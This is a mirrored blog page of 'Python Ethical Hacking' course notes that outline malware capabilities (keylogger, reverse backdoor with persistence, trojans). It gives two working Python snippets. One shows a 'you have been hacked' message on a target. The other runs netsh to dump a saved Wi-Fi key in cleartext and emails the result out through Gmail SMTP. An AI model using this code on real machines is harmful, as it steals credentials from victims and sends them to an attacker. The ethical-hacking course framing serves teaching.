zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    WRITING MALWARE

    • Download file.
    • Execute Code.
    • Send Report.
    • Download & Execute.
    • Execute & Report.
    • Download, Execute & Report.

    KEYLOGGER

    A program that records keys pressed on the keyboard.

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    PROGRAMMING TROJANS

    CROSS-PLATFORM COMPATIBILITY

    EXECUTE_COMMAND

    Execute system command on target.

    le:

    • if a program is executed on Windows -> execute windows commands.
    • if a program is executed on Mac OS X -> execute Unix commands.

    After packaging:

    • Execute any system command on any OS using a single file. 
    #!/usr/bin/env python
    
    import subprocess
    
    command = "msg * you have been hacked"
    subprocess.Popen(command, shell=True)

    Execute AND Report

    Execute system command on the target and send the result to email.

    #!/usr/bin/env python
    
    import smtplib
    import subprocess
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    command = "netsh wlan show profile "Panda Home" key=clear"
    result = subprocess.check_output(command, shell=True)
    send_mail("aaaa@gmail.com", "1111111", result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    手写spring事务框架, 揭秘AOP实现原理。
    centos7修改端口登陆
    数据库的锁机制
    linux安装mysql5.6
    SpringMVC数据格式化
    Java处理小数点后几位
    docker学习(七)常见仓库介绍
    docker学习(六) Docker命令查询
    docker学习(六)
    docker学习(五)
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11604807.html
Copyright © 2011-2022 走看看